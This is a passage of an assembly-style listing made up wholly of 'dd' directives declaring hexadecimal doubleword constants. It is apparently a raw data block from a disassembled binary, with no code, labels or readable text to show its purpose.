		dd 91A84924h, 3D14A944h, 3AFC8CEAh, 174300E6h, 0CA9ECE28h
		dd 988900C4h, 0EE957FD6h, 82F40F10h, 498D8000h,	17552301h
		dd 3BAB0060h, 0FC91219Eh, 9A1FE607h, 39706Eh, 4A2DFEA9h
		dd 541E58h, 0A240A811h,	277EC2C8h, 0B95BB500h, 8F6F6DC6h
		dd 8889013Ah, 58A10908h, 87DFF828h, 4667C703h, 0F0EC9C15h
		dd 4E5C5Ah, 0A13D1F68h,	0D3569EFAh, 6A12E91Eh, 0DE087380h
		dd 1452CBh, 1D78A39Ch, 0E1990B71h, 891F8D0Eh, 0D1B82190h
		dd 0EEF1E281h, 27542880h, 37496F17h, 9A588700h,	403FDEF3h
		dd 5A280019h, 0FBFC22C0h, 0C600AC33h, 9FA8299Eh, 5436B38h
		dd 28C1DD3Ah, 1D830E5h,	0B5051C66h, 40C821A8h, 0EB90F080h
		dd 0F63C398Dh, 87C00924h, 606DBCA5h, 871986AFh,	0A86B1F00h
		dd 1240D0B6h, 3B731Ch, 311980Dh, 42B37F38h, 78FD9B00h
		dd 44C71B01h, 0CDDE023Ah, 8E639A1Eh, 307EB280h,	9B00BCB7h
		dd 3C3D9597h, 8CE2E1h, 2A2862E7h, 32E4EBC1h, 0AAFF5D00h
		dd 76EC892Eh, 0BEE60199h, 9D5B1C29h, 0D4EDC074h, 2698316h
		dd 0B47800EFh, 9151F209h, 3D6DAC00h, 2C275C76h,	25CB00ADh
		dd 0C30FF670h, 3C001D62h, 30E8966Ah, 90AB95D2h,	552003Ah
		dd 9C377271h, 7048BAF6h, 81C70270h, 75D3B8F5h, 11380DC0h
		dd 0C1A83551h, 0FD29306Fh, 124BDE00h, 0F296A946h, 337D004Eh
		dd 1C3C8A7Fh, 0DD000BDFh, 210F059Ch, 349AFCh, 0A7A1A27Bh
		dd 0D4EEB73Bh, 0A3C57C00h, 78381BB1h, 0EACB073h, 0D92EF494h
		dd 92112AE0h, 0B204CC69h, 401D59E0h, 0CE0776C0h, 0C28F1E87h
		dd 5CC7C0E6h, 0B91C8CDFh, 109A1E79h, 19287300h,	760E26F6h
		dd 0ED90A8BDh, 12673E45h, 0C2C4431Fh, 13BEB650h, 0AB909EE3h
		dd 294C3FFFh, 0E5040050h, 88CE0876h, 0DB1C142Eh, 0AF0368D3h
		dd 0F669914Fh, 8EF8559Bh, 0E400A732h, 1B587A40h, 3F7EA9h
		dd 0A6CB95D3h, 0EC18AF92h, 0C258B260h, 0F1BC9863h, 0B54CF0h
		dd 0C80112E3h, 0AC664AF3h, 2E83D81Dh, 0F8864Fh,	97B239Bh
		dd 484700DCh, 4B440881h, 9338A519h, 995A8330h, 8867329Ah
		dd 78027FAAh, 0B2A70FFBh, 0BDC08D09h, 0BB4256AEh, 70EF73E6h
		dd 0C40018CEh, 75A5AF8Bh, 0ECF2194h, 0DAA00716h, 59F6E880h
		dd 6100428Fh, 735C1C4Fh, 0F85F95F0h, 0A89355h, 0C5E245FDh
		dd 5614D398h, 0B02AA7h,	0C3F9AFF5h, 53717BFh, 19E7D5D1h
		dd 4C64901Ch, 521E6DD4h, 2D008DB8h, 4A247B4h, 7B030723h
		dd 80837DBEh, 9B4B82C4h, 0D063DA09h, 0F84800FBh, 4CBD1576h
		dd 8A1484F1h, 0B85024D7h, 9F940028h, 0E647DBEBh, 0B9008A12h
		dd 1AC7B7A2h, 3ECBFFh, 7959FB8Ch, 9EEA951Dh, 28903F1Dh
		dd 5A744580h, 1A2B87Dh,	0AB05F165h, 0C48ECB15h,	3B01B64Ah
		dd 0C36ECDFh, 9EE404F5h, 0E4724C0Fh, 59158402h,	0C4404308h
		dd 0B307607Ah, 9FD1F275h, 7C13130h, 0B50418C3h,	0F8A13071h
		dd 1C905AF6h, 0F237CE07h, 0ED52EFD6h, 0F4645Ch,	6EFBA1DAh
		dd 4C2604CCh, 8A3E3501h, 0B0CF5F60h, 4BD6E3D0h,	0B2930BE1h
		dd 7980D420h, 3E0069CCh, 0B820392Ah, 0FA161FFCh, 68600B9h
		dd 9892B3C3h, 0CA0019D1h, 0FB24EA72h, 73E21Fh, 0E7DFFAE5h
		dd 4F334D02h, 0F1AD7A00h, 9DE810F8h, 6467001Bh,	7F91B17Dh
		dd 0CB749C82h, 5D2CD501h, 1B69B803h, 0F9ED64DCh, 74E0C60h
		dd 1E11FCC8h, 0C0EF14B9h, 793EFD58h, 30672A00h,	5DAE7462h
		dd 38C80EEDh, 2A71856h,	32AD7184h, 0A420202Bh, 6C869A01h
		dd 0BBF9C04h, 21C1ECh, 0FF40B879h, 1E16FD8Eh, 0F875A01h
		dd 967429EDh, 7C2F6ECh,	0D8573B92h, 3762004Ah, 0EDE42D98h
		dd 1D73BF01h, 14410C85h, 2A72A6E0h, 0C48CC9h, 0AB4E196h
		dd 0D271D02Ch, 3DF69D00h, 0E04B066Eh, 49361D9Ah, 2E23C05Eh
		dd 0E32BFF24h, 0C4ED2912h, 0E7DB3B07h, 80D3B512h, 175283FAh
		dd 0F40EE08Ch, 2A7F0035h, 0AAC1A055h, 0EF0ADAD1h, 880C3E10h
		dd 3F29AE00h, 0A2C88Dh,	59320E85h, 43AC3F0h, 0D3F639h
		dd 0EAFA518Fh, 7E9BC66Ch, 2DA8A0B6h, 816E1316h,	71DC0184h
		dd 20707788h, 18000A30h, 59A439CBh, 3102CFh, 0D8B79626h
		dd 2714EFE7h, 28C9E400h, 0E3CC6285h, 80540324h,	27D7A22h
		dd 82815EE7h, 64351B6Ch, 4B143744h, 3CC2729h, 0FCBC54FBh
		dd 7B601D38h, 90EDC02Bh, 321571E6h, 0A5CC9F48h,	79CBF030h
		dd 0C3FD1F44h, 8C6214AAh, 0D8937C00h, 3E92DBF8h, 890AB103h
		dd 0BB5528F4h, 219AA8ADh, 0FF4600F1h, 0E269ABC4h, 0ED005007h
		dd 0BDA967Ah, 4C1BADE4h, 98A0F01Ah, 0E00B62A3h,	6DC772h
		dd 0F7A16C50h, 36EE25h,	0F02CCF4Bh, 0D71564B8h,	4F0377B0h
		dd 8DA986DDh, 302EC056h, 0E3A30041h, 0D745B296h, 0B400ACBCh
		dd 4D9BDEAFh, 7913C9h, 8CF45329h, 855D5A34h, 2EB0EF0Fh
		dd 20D7890Bh, 0E3712F2Ch, 20AC0273h, 0D6E1540Ah, 2218848h
		dd 87D0E00h, 0DE9D2FF4h, 37CA0972h, 3480EBD8h, 0F9B3266Eh
		dd 0D70574BAh, 8E79FAC1h, 34AFC80h, 0B6BD00E5h,	0E3C44722h
		dd 10B8ED7Dh, 7C38F20h,	0E0F4604Ah, 75F6D09Dh, 34849A3h
		dd 544A7E48h, 0B30047F8h, 3CC6237Fh, 0A501C779h, 0B5BA8B59h
		dd 11801187h, 86B6952Dh, 390464E3h, 70A7906Ah, 0B06B3490h
		dd 1CB081h, 0ADFF7183h,	0A33942C5h, 807C14Bh, 5A07587h
		dd 0B3ED407h, 6CC94A90h, 0E3F96480h, 1CEC513Bh,	0DBD2E700h
		dd 78ED84AAh, 74DF0044h, 4D76CF8Ch, 10C05D08h, 2D6599F2h
		dd 2420021h, 1363DECCh,	0C42EF9A0h, 0F1F0C89h, 0BA45BC40h
		dd 18DD4ADCh, 5E9228EBh, 0A8D4736Eh, 0FF7DC098h, 17781F10h
		dd 4E759E80h, 7C642110h, 1100A26Bh, 5D021EC0h, 7F5FD806h
		dd 3F1AD098h, 0D8B05090h, 0AD0294A7h, 41F44349h, 48ABDC8Ch
		dd 0DE31608Ch, 0F806F95Ah, 0BCEC33AAh, 8D930026h, 91695B6Fh
		dd 1902E2FCh, 8B0EEA41h, 0BF95C33h, 0AB004E95h,	0C3103BB7h
		dd 0FD6F81Ch, 99912300h, 7514E7h, 90B6A9Ah, 0D4CB11BEh
		dd 17A084C2h, 143E60CFh, 0C9ED002Ch, 0D32B2570h, 45005665h
		dd 5210FCB7h, 79302F2Dh, 7E4200ABh, 6C9389A8h, 5C0FB5D3h
		dd 0E7355770h, 6FA3DDBAh, 0F444C843h, 0D60700D1h, 49C508B9h
		dd 774EA13Eh, 10B6EC00h, 390B1106h, 0F680DEAEh,	2A20AF9Dh
		dd 4D0084FDh, 142BE927h, 90D3EEh, 72FED123h, 135B89D6h
		dd 3AA01F00h, 0C5A33436h, 517D3A32h, 69F6EF00h,	4ABDDF7h
		dd 220C8C02h, 70BBD4A4h, 2DA200DCh, 0E5F324B6h,	0B8005A6Dh
		dd 0EC748036h, 6AD2896h, 0D181E42Bh, 5BF030B0h,	900E578h
		dd 10267C9Eh, 0D0E428h,	0AB06BA87h, 0FB4294D2h,	54B74700h
		dd 0CFA2342Eh, 14078FFh, 0E2E5CD4Ah, 0E00BA106h, 0BF0C88F0h
		dd 38A8F56Ch, 41FB0599h
		dd 4ABD05D3h, 8054A288h, 0E2C13426h, 0D27BDB3Ah, 0AF710C12h
		dd 464C810h, 5B24B2ECh,	34D1FA00h, 2CF61D12h, 0D43FCB03h
		dd 88DA29EEh, 6FAE6Eh, 0C14FB621h, 46017122h, 19ECF301h
		dd 1EDF3A60h, 20BFBE4h,	9B4AD5CEh, 4BE3349Dh, 2554F698h
		dd 419A4900h, 0F4C2FDEEh, 0D4D900E7h, 8FB98ECEh, 1F01A607h
		dd 60DC9115h, 0C6C44E31h, 0E26B0126h, 874F6586h, 0C0032E30h
		dd 90282049h, 0A47DADh,	0EEAE26C1h, 9D371802h, 3312E00h
		dd 1B8C93ABh, 6EEC00CDh, 0FF08EB77h, 0E700E0F6h, 0E5FC4E1Ch
		dd 5F4471h, 384BF197h, 82635498h, 231ECB00h, 0A457C293h
		dd 0C74A005Ch, 732405E4h, 0F300E929h, 98D02DCBh, 1C1E68Ah
		dd 7FA396C4h, 0D05A6F6Eh, 0E101B151h, 0B648D5A9h, 0F84079F9h
		dd 1DD9EE7h, 3019B706h,	0F054E213h, 0AC985CB1h,	34A28B0Ah
		dd 3F0D10ECh, 0E810384Ch, 12EE7A35h, 544602A7h,	400A3F8h
		dd 0E4485A88h, 603A9226h, 315130EAh, 0D6B90Fh, 1A5CECA1h
		dd 7B401198h, 1CF88500h, 8A628E91h, 267757h, 0C0305F07h
		dd 0E45001B7h, 7A39491Fh, 4E6A0038h, 0DED37627h, 4DB70F05h
		dd 6165B050h, 3059C75Ah, 0A968DBC4h, 6C7A5307h,	0BF801495h
		dd 7AA32C07h, 828F001Ch, 0B764D781h, 2239F80Eh,	69600026h
		dd 0F7344C72h, 58B40715h, 403F95D7h, 7BD74F4h, 0F36E1907h
		dd 5BB12C70h, 0C7DC3759h, 8CA00016h, 34E526D2h,	3A1F56D4h
		dd 0AE4E0745h, 0B000769Fh, 33BF0237h, 9A3E0067h, 0D47EC64h
		dd 0B6EAAFA9h, 0D0256E00h, 73343F8Ah, 2DC0087h,	0BE710ED7h
		dd 7D7AC54Bh, 0A71676FAh, 64006937h, 0F5CCEFBCh, 77C61738h
		dd 2AB500C9h, 0AC33279h, 721EA0C0h, 1D76C8h, 8FED58Ah
		dd 87962277h, 0C0CFDA98h, 1E120CDh, 1B50B9h, 71BC02A9h
		dd 3E8375AEh, 0ED1998A8h, 5150D13Dh, 9F87E080h,	9341DC00h
		dd 9CA8777Ah, 2E0930CFh, 0F6626550h, 2CC58900h,	0AF5E262Ah
		dd 0D670079h, 74E08AF5h, 0DA1818EAh, 5682E9Fh, 0BB83008Fh
		dd 0D10E1DB5h, 3500E8FFh, 586D7895h, 0FFE6F52h,	45B737EDh
		dd 0F88B9320h, 0CE1D5794h, 67C039D3h, 4DA979F6h, 0B17B006Ah
		dd 0C509D159h, 0A014135h, 791EF088h, 0DBE443B9h, 879F0E37h
		dd 2C60AAA2h, 5474FCC4h, 0F0A09B00h, 2B26F1C1h,	0A8993CC7h
		dd 83E24103h, 3CD3A575h, 0FDE36EB0h, 42E5770Eh,	0A267A031h
		dd 60DF36h, 0CC3AA36Dh,	3453CAD2h, 0B0200600h, 2343F14Eh
		dd 49A917DCh, 0DDA50180h, 0D83E31C9h, 243FEF98h, 4196303Ah
		dd 0E993C2h, 0AFE374E1h, 7BEFD392h, 314A3Eh, 9C6160A8h
		dd 0E87E8A26h, 50110A56h, 8F8C2078h, 12201703h,	2F0AD09Fh
		dd 0F1163500h, 0B5953979h, 369819h, 11A05B18h, 29F3AE92h
		dd 3D00B079h, 0FE552B46h, 0BA2847h, 6D2173DBh, 0D3428109h
		dd 7EE90C1Dh, 202D970Ch, 23200072h, 5D07F71Eh, 0A8004581h
		dd 11B47341h, 3E0579Ch,	9F184D06h, 0A5D9E376h, 84304A47h
		dd 82304756h, 39004E5Ch, 6C3185F2h, 1BF33Bh, 0AE531D44h
		dd 40BBBA50h, 198D8606h, 117ADEh, 90AE4C8h, 9A27A19Dh
		dd 0D3B1B551h, 52172196h, 3B00CF68h, 76787A80h,	0D2AE00A5h
		dd 0D9B8F30Ch, 28C08FDDh, 25F98D28h, 9FEC0198h,	60687818h
		dd 0E07980B0h, 0FD065AF1h, 0F84E074Bh, 434F1C1Ah, 10FF1E30h
		dd 0CC59A18Ah, 0BA206F0Eh, 1A52809Bh, 502981D3h, 1454C010h
		dd 94308F85h, 0C1922500h, 0E371E282h, 0E500D9F6h, 0C39C7005h
		dd 7AFDBAh, 0E416574Bh,	7EF287DCh, 0CC50600Bh, 754787DBh
		dd 0C06C6FE3h, 795B844h, 0AEDA3E84h, 6EA16079h,	0BB05BF46h
		dd 7F46D70h, 8EDF9403h,	0D17CA12Dh, 2CC846ECh, 0F170B0h
		dd 7E5F804Ch, 0FF00263Fh, 0EB71C258h, 102DB64h,	6B3D60FDh
		dd 0D0D23984h, 0BD061746h, 197931FEh, 71946018h, 0CDF201CCh
		dd 68F4D418h, 86123B91h, 9C4B5C01h, 0B4ED7FF7h,	0FA608008h
		dd 488A9D20h, 0F3260269h, 654ED64h, 764ED8C0h, 0E88D270Fh
		dd 5C5700D2h, 167FB2h, 467E8781h, 0A1B6445Fh, 5A038C01h
		dd 7C245CCFh, 21410898h, 0A2391DE4h, 3F58036Bh,	795EE2h
		dd 5178E650h, 8A07995Ch, 52745F00h, 0E9475B61h,	0A4F10F96h
		dd 64A0677Dh, 0F9BA0DB6h, 5F8F0A00h, 31ADE622h,	814D00CAh
		dd 63B91146h, 8207159Ah, 0C16F1F61h, 2B86F540h,	5B7E0065h
		dd 2C38A34Bh, 8300929Ah, 64AEF46Bh, 9B8EC8h, 0CA26650Ah
		dd 45802BE1h, 970718F6h, 37C4B5F6h, 0AC176DB0h,	7B1EEAEFh
		dd 8F7DA0h, 3936F244h, 1F75E655h, 0D41D9177h, 0CB40D90Dh
		dd 0B2D30943h, 0EBFB00AEh, 66704AABh, 4900A6DCh, 31EE45EAh
		dd 849192h, 0B4A219A4h,	5930B62Fh, 133A97F8h, 0F8007766h
		dd 63550817h, 5E5365Ch,	9DF77E1Bh, 4400C0FAh, 88F834ECh
		dd 40EE8000h, 0FDE69E35h, 0EF393CAFh, 632F3B00h, 45B80DF9h
		dd 149DAD01h, 3127A242h, 2C012080h, 0E8E31063h,	0F619641Dh
		dd 0FFF93E82h, 0A1200033h, 9B39821Ch, 0D7C480A7h, 0FDF77901h
		dd 0F9950065h, 0D2746BDBh, 30C03740h, 17283230h, 770C00F3h
		dd 27AF7302h, 1138D3C2h, 0FA8380BAh, 399B448Ch,	65080E1Ah
		dd 4B2136DCh, 808DBFE6h, 6C430A20h, 0C045A5A9h,	4F690F28h
		dd 70F02705h, 6B6FFB18h, 0C0412908h, 4F6A3220h,	0A602A27Ah
		dd 3B1738E2h, 0F1808008h, 7E167E5h, 211BEE18h, 0A3B9D058h
		dd 4D181C2Bh, 0EF405A9Ch, 0F9C900A0h, 0A236AEEEh, 30E3CCA5h
		dd 9560F69Dh, 0F2D19F20h, 723B03FEh, 0E884786Dh, 71CC18E8h
		dd 211728A0h, 1000CBF9h, 0F3C1D0F2h, 162397h, 0CDD9DB80h
		dd 89C56D93h, 0F9EB000h, 73E1A62Ah, 0BC2400DEh,	0C8B53E26h
		dd 5F04C26Ch, 701DB2E0h, 0FD5FC1EFh, 0FAE5FC57h, 1800E172h
		dd 0D96CB7F7h, 11288Bh,	63254642h, 97DBEB66h, 0CBC9AE07h
		dd 5020E7FAh, 3577BF4h,	49AD695Bh, 3FE06E8Bh, 9200F2EFh
		dd 605F671Fh, 0E95EAAC4h, 0B67F1080h, 0AD4AD2E5h, 0AF8F600h
		dd 0E733595Ah, 0A4BC00AEh, 6A7730BEh, 0F400ACBDh, 3574186Bh
		dd 0EE48849h, 0AE282C31h, 16176040h, 4C03EAE3h,	0F66F6FFh
		dd 0C6B9A0E7h, 1D6F00D3h, 1F7BD204h, 0C8F96B2Bh, 7F00C3FBh
		dd 0D59A08FCh, 74D1DB5Bh, 0FA3C01B5h, 855511E9h, 59D4D0EEh
		dd 33A81E12h, 782414h, 0DA41C9C6h, 0EBB6F9h, 0C5099EAh
		dd 0F491CD22h, 0A2305874h, 1BFB204Ah, 963512E9h, 7E7D00F7h
		dd 100558C8h, 8D722800h, 762711DBh, 9BF7D43h, 840A0F90h
		dd 0A38FEEC3h, 0F0C7DF26h, 0AA23947Dh, 0C2375074h, 0CC902068h
		dd 0CAA309h, 73BE8AB8h,	0EE1384ADh, 110C717Fh, 0A9DB0357h
		dd 601E7816h, 60B386Bh,	75267629h, 520E4CD6h, 6FA2C03Ch
		dd 591950h, 0C80184BBh,	35426D28h, 0FB1F6790h, 0A8707412h
		dd 0EF17DAh, 611EF6E5h,	86AD7205h, 63E7B91Eh, 73E8A702h
		dd 7A98538h, 0BE0AA400h, 0F19B33h, 444103Bh, 0F83AAEB3h
		dd 45699702h, 401CA6B8h, 0ED810Ch, 0E01ED243h, 873EF2DDh
		dd 0B0BB6B0Fh, 0A3748713h, 142F802Fh, 17A12Ch, 0D784880h
		dd 0FCABA5D4h, 72C1348h, 88E3D64Dh, 87B30360h, 0EC3B7792h
		dd 776E0373h, 0F6D9AEBDh, 30BA80B9h, 0A004125h,	0B35E58E8h
		dd 67B4B7Eh, 0AFBF23D8h, 527FE0EAh, 0A8114924h,	0C78F5400h
		dd 0D6840Ch, 26BD9B68h,	2AB90151h, 46926600h, 13B5C5D0h
		dd 0E6CF01D7h, 2809FD6Eh, 26212076h, 0DF570A07h, 0B8075DA9h
		dd 47D3A500h, 0C275001Fh
		dd 0B29CEEFDh, 0A0071F3h, 60981687h, 9F0667h, 0B6731E2Bh
		dd 919D52DCh, 37CD93Ch,	98879B5Dh, 5A7FE8D2h, 0D160061h
		dd 5515513Fh, 0E00C5EEh, 0F9B39002h, 78492ADh, 47D07A11h
		dd 5DA7B097h, 617A0975h, 87933338h, 0CEFED802h,	8294B9D0h
		dd 0CDE8FDECh, 0A5B50FC8h, 59C4B2DDh, 4FEF809Dh, 95509671h
		dd 12006EF7h, 2E7F51C6h, 0E0FAEAh, 0DE5061E5h, 80D9021Ah
		dd 147B203h, 83034C5Eh,	0EB7ED020h, 163B1D5Ch, 890039D1h
		dd 0DD0919DEh, 1800DAB0h, 0FB87BB42h, 70985057h, 6B0200ABh
		dd 0F26E52C1h, 800022AEh, 83853566h, 0C3A7EFh, 9C0B2733h
		dd 0D6C2F414h, 0AAE4CE00h, 3D9EB820h, 0FA6C0374h, 0FDCC28B1h
		dd 2047D3E3h, 759DE004h, 0DB50CBF5h, 48FD881h, 0CA1FC073h
		dd 8878BF00h, 42079E65h, 2F33B4Ch, 51AA1870h, 1E642895h
		dd 74D20A88h, 0B842111Dh, 0CD1F189Fh, 8821C851h, 648883F1h
		dd 0F02E120h, 3C430C11h, 38B9242h, 29082110h, 108E3E2Fh
		dd 352384D0h, 83C5C4Ah,	0B480D04Dh, 78BD8451h, 0AF6D202Eh
		dd 36B0810h, 94624B08h,	2983980Ch, 748E4442h, 60C76A44h
		dd 0EFDC7917h, 7800BEADh, 570200Eh, 0DE3FE042h,	79FA9BA1h
		dd 65014DF2h, 0F4D4276Ch, 944B1E70h, 0A0CE40D9h, 59636855h
		dd 0C637F81Dh, 1BF3E89h, 1BA23394h, 2147D0h, 592E2753h
		dd 0FB77AA80h, 3001E070h, 4B5D3D8Bh, 72387A5Bh,	31FFC203h
		dd 0D6F0F194h, 0AB00DCA3h, 0EE514C7Dh, 449F02h,	0B327BFA9h
		dd 5EB18DD5h, 0F6075D00h, 72A011A4h, 52570638h,	1012F397h
		dd 0C4D7F400h, 88690C84h, 0CB95126Ch, 541800D6h, 7C21961Ah
		dd 0D4760700h, 79F9A551h, 0A0433B08h, 508E4F00h, 0AAD8E96Fh
		dd 0D1038FFAh, 95D6CA05h, 9B040055h, 0EF8797CDh, 4AE682E8h
		dd 72CC0D00h, 0E077A72Fh, 5C2600AEh, 153ED26Bh,	16731A75h
		dd 0F712C3FAh, 5C07E8EBh, 50E01F4Bh, 98431Dh, 69223892h
		dd 0A904315Fh, 23D09100h, 0B843927h, 0CBAA0FF5h, 0C1A0F8ADh
		dd 0C252842h, 39FE7803h, 0F87ADB04h, 0DC678Fh, 0A61AF366h
		dd 0E27C92C0h, 20E34E00h, 27A32B87h, 5D8E003Bh,	74CE64EFh
		dd 12007603h, 98FF4680h, 1CF197F9h, 5E62D80Eh, 0C72C0023h
		dd 5BCD1C1Dh, 0A1D9A300h, 2226584Fh, 49343F44h,	9315CA00h
		dd 0F2162A0Ch, 0C7F9D900h, 0F559B0A0h, 4FAD033Bh, 0CF4A15E0h
		dd 8481DCB2h, 0C8D0F433h, 2300ED46h, 79B65825h,	10CD7AFh
		dd 7AB4EB2Bh, 0DBB1E62Fh, 0F8C529D8h, 2AFE2500h, 0D833AD7Ch
		dd 0CA2F0055h, 0EEC1F0AAh, 457920D4h, 0B9085C01h, 336A388Fh
		dd 3C8B9760h, 5281F782h, 95BD45CFh, 72F6D449h, 0A8005E90h
		dd 0F533BCEDh, 1CBF950h, 7CC2E9AAh, 30D1C526h, 8A015CCEh
		dd 5274A0A3h, 98EF57A4h, 9CDBF0Dh, 8D6893B3h, 0C34060Ah
		dd 3D1182CFh, 0B06B071Ch, 19036E40h, 52E2FF7h, 16FCD20Fh
		dd 0F8FC1450h, 80FC1429h, 32586AABh, 0F20EF4F6h, 20C32374h
		dd 4019D26h, 0E18D03EFh, 0AB968F24h, 193C89C8h,	2D9ACD1Eh
		dd 9ECF0D40h, 82682h, 0DDA4B549h, 0ED3F8F7Bh, 0C8BD5100h
		dd 943A7371h, 62FD0374h, 310F0DB3h, 0A555A1A0h,	41E4F701h
		dd 0CE0226D4h, 7684AC4h, 656DA7Dh, 0FF13A10Dh, 3CFED828h
		dd 0F4528017h, 9F0B9100h, 7238705Ch, 22B00030h,	811D6156h
		dd 0F907A8E5h, 3E05D5A7h, 6EB874B0h, 2F4100DAh,	2EE5FCE8h
		dd 0A7004F7Eh, 0DE6CCFD0h, 9E78F6h, 6177BB22h, 0FCC3CB52h
		dd 28F42C00h, 6946E7A9h, 0B0E630h, 0DF6CB140h, 0C3BB1280h
		dd 0B81782F6h, 0C100259Ch, 3721CCC1h, 260E1E4Fh, 18ECC060h
		dd 0F1B212F6h, 4003D30Fh, 0E0F8EE63h, 1317DE9Ch, 985F00AFh
		dd 6EBCE646h, 4C00C5B7h, 1B25AD8h, 0BF3CF5h, 1CDF66F2h
		dd 0ECD75532h, 0C000B371h, 0F7CBD30Ch, 0B93A8h,	9CE4C4A5h
		dd 33199813h, 0A1698800h, 8AF763D7h, 92E7005Bh,	0B55223E0h
		dd 400045E3h, 5184A3A6h, 0C9600Eh, 0DE61B746h, 3F482164h
		dd 30EB73EEh, 0AB00829Dh, 0AC26BE91h, 8DA061h, 0E6132E07h
		dd 0E0966379h, 8BD63104h, 0C3AF3BDDh, 6FD810B3h, 573FA997h
		dd 0B937AC4Fh, 0DD6A3000h, 16720C9h, 16090C7Ah,	714FD5B8h
		dd 38E4E0CEh, 0EC358400h, 475E3101h, 0EE6A1D73h, 261740BFh
		dd 0CC10F3E7h, 14A3380Ah, 3F913Ah, 0B56578F8h, 8F8C20h
		dd 0A37A4CF1h, 0E5413A15h, 0A478B498h, 0B71FF600h, 0C7CB8875h
		dd 0EA2003B2h, 0BBFB9EEEh, 0AA9F04B8h, 6EDEAE50h, 0EDF13D0Fh
		dd 8B407EE9h, 1C1C590h,	35AD014Ah, 0B44670A2h, 0C830FD2Fh
		dd 4E4C8082h, 5A5C0EA0h, 0E5B821EBh, 0BEF0E1F4h, 38A1B807h
		dd 62803E53h, 0BA59A2F6h, 48033999h, 0E89A43BCh, 1999F36h
		dd 0D6EA604Ah, 0CF055FDh, 29E90DF6h, 408884h, 657120FCh
		dd 580008F0h, 337570FBh, 0F29214DFh, 0C0850087h, 32186143h
		dd 501231C7h, 0F012534h, 9390E958h, 93612CC9h, 262E7864h
		dd 242187h, 0F84581AFh,	37006A77h, 0FDD7AE99h, 48F1E9h
		dd 3E1EB414h, 93270A17h, 0A51A8905h, 8180652Dh,	0C2873Dh
		dd 0D94F2ADCh, 0EFDA4DA9h, 0EC4A2F00h, 0FFDB608Ch, 7DB61FA3h
		dd 0C1BF1E63h, 0B73C5D53h, 0C024DDAEh, 0C8607EA5h, 43B2B389h
		dd 653C00E3h, 34FCB09h,	7702C508h, 8E643210h, 0DC924021h
		dd 967000C1h, 3072359Dh, 0FD3BEFBDh, 0DCFFBECAh, 84C700BFh
		dd 76622C3Dh, 0E5AF0077h, 1A7C61E6h, 0EBE0DA29h, 5AF23203h
		dd 88846ED6h, 678203h, 421CD4D9h, 0C7E6526h, 0E31DEA90h
		dd 0D5C0EFCBh, 17966795h, 29E3B4Eh, 76B69D80h, 690A5DE6h
		dd 0A900A573h, 0B7F6E125h, 0C63236h, 3ADCD08h, 0BB51A7A1h
		dd 48FFF324h, 3B173C07h, 0AB3E80B0h, 0C4A04C89h, 0CA0DBC00h
		dd 0FD8A5B81h, 5E6C8400h, 0B5A62715h, 8943C41h,	0A0E67400h
		dd 1F89F1D2h, 0E8217900h, 0CD8735B1h, 0EC300005h, 618CFB0Ah
		dd 1D1DD0CCh, 8B40A472h, 53D7FD7Bh, 0D52200AEh,	0CDFE61E4h
		dd 8F001817h, 0E56BB173h, 0F40B023Ah, 6269007Bh, 0D61C87A1h
		dd 3B00AD68h, 0F583C84Ah, 0E5CE6h, 4FCDB959h, 58A9FA3h
		dd 3953350Bh, 6AC808Fh,	0CE68F2h, 0FCC17A29h, 84D1B2D2h
		dd 85641B07h, 80701157h, 0FE773B5Dh, 0D76B07CBh, 67F8C1CEh
		dd 0AE14A36Ch, 0B9161DE0h, 5D365A07h, 23C064E2h, 5609A7h
		dd 7DE3A1FBh, 79418B26h, 0E00021E0h, 0EF9FC7D4h, 0B84852Bh
		dd 0FDE6ECA5h, 0AFDC87h, 8FBBA39Dh, 0CC7B3100h,	0B13C18D5h
		dd 70375CEFh, 8B09AB00h, 85F63CEh, 0AD222E00h, 787206FEh
		dd 11F5000Fh, 0C356E8CDh, 51241BCFh, 0A838A09Dh, 3209E887h
		dd 1755ECh, 0FE652B54h,	0EA3803A0h, 0D1CD1AB6h,	0C80951F8h
		dd 808E783Bh, 0FE9207B3h, 2865AEh, 0C527029Ah, 0F10EFA8Dh
		dd 1112551Fh, 391F9600h, 1D905E4Eh, 33F20AAh, 7E5522F4h
		dd 0DA3C9DE0h, 0B8D8870Eh, 0AD6420C6h, 7A72C94Ah, 43B924D1h
		dd 0E5F40013h, 0C689AA75h, 97B2791Fh, 0E755CEC0h, 0AD290A8h
		dd 60981C53h, 84833FEDh, 5C543E49h, 43B094F3h, 0CA0033DEh
		dd 0F279ACA8h, 0C52C57Ch, 0B5783B0Dh, 70596E0h,	0CC2631CAh
		dd 0D47BB400h, 0AC434Ch, 0D2B911F3h, 3FCEAFFBh,	2FA0F45Bh
		dd 0EC460E38h, 7C01DD1Fh, 0C409F34Dh, 5603E10Ch, 0B344185h
		dd 0D4ADA820h, 0E4AA12D8h, 8C642CBEh, 9B007C90h, 0FD895A0h
		dd 2FBBF17h, 0BEBBF341h, 8440DB16h, 23F4F40Dh, 0CDE7F905h
		dd 0FE00C29Dh, 57B9EDA1h
		dd 1E27003Fh, 74095D83h, 0A07BDE7h, 9B05E31Ah, 0AB22F0F0h
		dd 4308094Eh, 5000612Ch, 402F6A91h, 0D7F8A1Dh, 897388C0h
		dd 0F9481EAh, 66FFD3DEh, 0AB9D9980h, 8D002371h,	830E4279h
		dd 7D38BBAh, 4B1F0A69h,	313C87F6h, 0FC76F9h, 842B595Fh
		dd 54A7E20Bh, 0AF6C81E5h, 80511C64h, 0F5ECB65Bh, 0A029EC3Ah
		dd 1B8A1C5h, 0E7F26EBAh, 0F09043CCh, 0EF3A2D9Dh, 5C58EAh
		dd 4A40925Ah, 687122h, 42C0F361h, 39AB493Ch, 0B6F69100h
		dd 0EF6B09BAh, 280C0B8Bh, 5300D421h, 0D3A77759h, 6F53CE00h
		dd 0A93E448Ch, 7D85004Fh, 0DC1592DEh, 0C018233h, 0E650429Eh
		dd 402873BFh, 0E03826h,	26B10AF3h, 28008D35h, 0FAA5CD8Bh
		dd 1760FAAh, 0BF413027h, 80046C69h, 951CF468h, 0F645B2EEh
		dd 15E10FF7h, 0EB00BA89h, 218307EFh, 62F54D01h,	35A56824h
		dd 3D61B03Bh, 173BCC00h, 42EFD116h, 73D5027Dh, 3A2483BEh
		dd 6C54D0C0h, 0B05F4Ch,	0ECBDC88h, 2C3C49Ah, 29E1283Fh
		dd 0B080C9AAh, 7C5534A7h, 0BBF84800h, 0CA5ABFEBh, 0C6661F9Bh
		dd 8BB200EEh, 2920C07Dh, 0E47F7700h, 7AB569AAh,	9E748Ch
		dd 0A3DA7E98h, 0B260F151h, 58E71230h, 0E80AF24Ah, 9E551318h
